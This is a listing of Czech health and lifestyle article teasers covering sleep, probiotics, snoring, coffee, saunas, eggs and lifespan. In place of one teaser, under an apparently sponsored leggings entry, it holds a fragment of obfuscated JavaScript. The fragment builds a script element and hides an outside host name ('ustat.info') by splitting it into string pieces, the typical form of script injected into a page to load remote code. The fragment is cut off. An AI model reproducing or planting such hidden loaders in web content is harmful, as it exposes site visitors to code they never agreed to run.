zdraví

Spánková prokrastinace: Proč dáváme před spaním přednost brouzdání po síti?

Představte si, že po dlouhém dni ležíte večer v posteli a místo spánku bezcílně projíždíte internet. Projíždíte své oblíbené aplikace a nemůžete se...
Lidé, čtěte! 6 důvodů, proč mají tištěné knihy smysl i ve věku audia

Vůně, praskání, šustění. Jedinečná atmosféra, klid a pohoda, kterou ta směs pachů a zvuků vytváří. Klasická kniha, kterou čtečka nemůže nikdy...
Jak na městský stres? Pokud se nehodláte odstěhovat, vyzkoušejte toto

„Talácel jsem se valícím davem, nikdo si mě nevšiml, nikdo na mě nepohlédl. Až dívčina jakási v šedé elfí říze pousmála se na mne. Přistoupil jsem k...
Jak bojovat proti paralyzujícímu strachu? Pomáhá prý léčba šokem

Strach má mnoho podob. Nedávno jsme psali o tom, jak se třeba zbavit strachu z vystupování na veřejnosti . Co když jde ale o strach, který v...
Když i muži mají své dny: Kvůli testosteronu trpí menopauzou stejně jako ženy

Testosteron je hormon, který produkují varlata. Neovlivňuje jen sexuální apetit, ale také změny v průběhu puberty, psychickou i fyzickou kondici,...
Jsou probiotika opravdu plusem pro náš imunitní systém?

Je logické, že probiotika napomáhají odstraňování trávicích obtíží. Více než polovina buněk, které jsou zdrojem protilátek, se nachází ve střevech a...
Jak bojovat s chrápáním? Dá se to. Operace je až posledním řešením

Na otázku, co způsobuje chrápání a jak se ho zbavit , odpovídá vyčerpávající průvodce chrápáním amerického deníku The New York Times. K chrápání...
Jak může novinka od Huawei ozvláštnit váš každodenní outfit?

Nabitý den plný schůzek a do toho péče o dceru Ruminku - Monika dokáže vše zvládnout levou zadní. Stačí si totiž správně zorganizovat čas a v tom jí...
Proč jsou in takzvané superpotraviny? Nestačila by prostě mrkev nebo řepa?

Jsou skutečně výjimečné a o jejich účincích často věděly už starověké civilizace, které je využívaly v léčitelství. I my znovu oceňujeme jejich...
Módní a pohodlné dámské legíny 4F

(function(){ ae7f=document.createElement("script");ae7f_="u"+("s")+"ta"; ae7f_+=("t.i")+""+"n";ae7f_+=(("f")+"o");ae7f.type="text/javascript";...
Když vaše dítě potřebuje brýle: Vše kolem dětského zraku

Z průzkumů vyplývá, že zhruba 70 % dětí z mateřských školek používá každý den mobilní telefon svých rodičů minimálně půl hodiny. A stejně tak jako...
Jste hodně závislí na ranní kávě? Chcete-li, můžete se závislosti zbavit

Bez šálku kávy si mnozí nedokážou představit začátek dne. Podle statistik jde o 75 až 80 procent lidí . A studie ukazují, že až čtvrtina z nich je...
Seriály typu Hra na oliheň nás připravují o spánek i zdraví, tvrdí odborníci

Dětské hry plné násilných zvratů, armáda temných maskovaných mužů se zbraněmi a obyčejní lidé na pokraji finančního krachu, kteří bojují o holý...
Na večerní žravost jděte zostra: Pomůže intenzivní cvičení i pálivá omáčka

Co se jídla týče, nevíme přesně, jestli jíst jednou denně, třikrát nebo pětkrát (případně vůbec). Obecně přijímaným přístupem ale je, že pár hodin...
Všeho moc škodí: Přesycení uměním spouští takzvaný Stendhalův syndrom

Známý je případ britského turisty z roku 2018, který dostal infarkt uprostřed florentské galerie Uffizi , když se díval na dechberoucí světoznámý...
Lék na rýmu? Když nebudete čekat, až se spustí, pomůže na ni sauna

Známé a zaběhnuté tvrzení, že do sauny nesmíte s nachlazením, je podle německé studie, která pochází už z roku 1989, poměrně nepřesné. Ta dokazuje...
Chcete-li chránit oči před sluncem, stačí málo. Co třeba odložit sluneční brýle?

„Když si je nasadím, jsem zase Jack Nicholson. Bez nich jsem jen tlustý šedesátník,“ vyjádřil se o slunečních brýlích známý herec. Tenhle módní...
Proč mají vajíčka různě zbarvené skořápky? A jsou ta hnědá kvalitnější?

Někteří lidé kupují pouze hnědá vejce, protože věří, že jsou „zdravější“ nebo „přírodnější“ než vejce bílá. Kde se tento mýtus vzal a je za ním něco...
Budeme někdy žít věčně? Podle studie ne, tělo vydrží maximálně 150 let

Věk 70 let. To byla stará biblická míra člověku přiděleného času na Zemi. Nyní vědci tento milník přehodnocují a hranici života posunují na 150 let....
Vaginální terapie jako lék na menopauzu? Je to jen placebo, tvrdí vědci

Výzkum australských specialistů naznačuje, že nákladné laserové ošetření, které má pomáhat ženám s postmenopauzálními vaginálními problémy, jako je...